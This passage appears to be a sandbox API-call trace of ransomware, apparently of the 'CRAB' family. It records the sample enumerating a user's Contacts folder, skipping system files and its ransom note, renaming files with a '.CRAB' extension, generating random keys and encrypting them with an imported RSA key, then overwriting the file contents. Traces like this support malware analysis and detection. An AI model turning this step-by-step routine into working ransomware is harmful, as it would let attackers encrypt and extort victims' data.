	[0124.485] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.485] CloseHandle (hObject=0x3e8) returned 1
	[0124.485] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.486] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.486] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.486] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.487] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.487] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.487] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.487] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1
	[0124.487] lstrcmpW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1
	[0124.487] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="asdlfk poopvy.contact" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact"
	[0124.487] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.487] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned 52
	[0124.487] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned 52
	[0124.488] lstrlenW (lpString=".contact") returned 8
	[0124.488] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.488] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".contact ") returned 9
	[0124.488] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned 52
	[0124.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned 52
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="desktop.ini") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="autorun.inf") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="ntuser.dat") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="iconcache.db") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="bootsect.bak") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="boot.ini") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="ntuser.dat.log") returned -1
	[0124.488] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="thumbs.db") returned -1
	[0124.489] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.489] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.489] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB") returned 57
	[0124.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact")) returned 0x20
	[0124.489] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact", dwFileAttributes=0x20) returned 1
	[0124.490] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact.crab")) returned 1
	[0124.491] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.491] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB"
	[0124.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB.CRAB"
	[0124.492] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0124.493] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.493] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.493] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.493] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.493] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.493] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.494] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.494] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.495] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.495] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.495] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.495] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.495] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.495] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.496] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0124.496] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31661e0) returned 1
	[0124.496] CryptGetKeyParam (in: hKey=0x31661e0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.496] CryptEncrypt (in: hKey=0x31661e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.496] GetLastError () returned 0x0
	[0124.497] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0124.497] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.497] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31663a0) returned 1
	[0124.497] CryptGetKeyParam (in: hKey=0x31663a0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.497] CryptEncrypt (in: hKey=0x31663a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.498] GetLastError () returned 0x0
	[0124.498] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.498] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.498] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.499] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x493, lpOverlapped=0x0) returned 1
	[0124.521] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.521] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.521] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.522] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffb6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.522] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x4a0, lpOverlapped=0x0) returned 1
	[0124.522] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.522] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.526] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.526] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.526] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.527] CloseHandle (hObject=0x3e8) returned 1
	[0124.527] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.527] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.527] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.527] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.528] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.528] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.528] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.528] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1
	[0124.528] lstrcmpW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1
	[0124.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="chucu jadnvk.contact" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact"
	[0124.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.529] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned 51
	[0124.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned 51
	[0124.529] lstrlenW (lpString=".contact") returned 8
	[0124.529] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.529] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".contact ") returned 9
	[0124.529] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned 51
	[0124.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned 51
	[0124.529] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="desktop.ini") returned -1
	[0124.529] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="autorun.inf") returned 1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="ntuser.dat") returned -1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="iconcache.db") returned -1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="bootsect.bak") returned 1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="boot.ini") returned 1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="ntuser.dat.log") returned -1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="thumbs.db") returned -1
	[0124.530] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.530] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.530] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB") returned 56
	[0124.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact")) returned 0x20
	[0124.532] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact", dwFileAttributes=0x20) returned 1
	[0124.532] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact.crab")) returned 1
	[0124.533] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.533] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB"
	[0124.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB.CRAB"
	[0124.533] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0124.534] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.535] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.535] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.535] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.535] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.535] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0124.535] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.536] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.536] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.536] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0124.536] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.536] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.537] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.537] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.537] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3166520) returned 1
	[0124.538] CryptGetKeyParam (in: hKey=0x3166520, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.538] CryptEncrypt (in: hKey=0x3166520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.538] GetLastError () returned 0x0
	[0124.538] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.538] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.539] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3166260) returned 1
	[0124.539] CryptGetKeyParam (in: hKey=0x3166260, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.539] CryptEncrypt (in: hKey=0x3166260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.539] GetLastError () returned 0x0
	[0124.539] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.539] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.540] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.540] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.540] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x499, lpOverlapped=0x0) returned 1
	[0124.560] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.560] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.560] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.561] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffb67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.561] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x4a0, lpOverlapped=0x0) returned 1
	[0124.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.561] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.565] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.565] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.565] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.565] CloseHandle (hObject=0x3e8) returned 1
	[0124.565] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.566] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.566] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.566] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.566] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.567] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.567] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.567] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.567] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.567] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt"
	[0124.567] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.567] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt") returned 47
	[0124.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt") returned 47
	[0124.568] lstrlenW (lpString=".txt") returned 4
	[0124.568] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.568] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.568] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt") returned 47
	[0124.568] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\CRAB-DECRYPT.txt") returned 47
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.568] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.569] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.569] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.569] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.569] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.569] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0124.569] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0124.569] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini"
	[0124.569] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.569] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini") returned 42
	[0124.569] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini") returned 42
	[0124.570] lstrlenW (lpString=".ini") returned 4
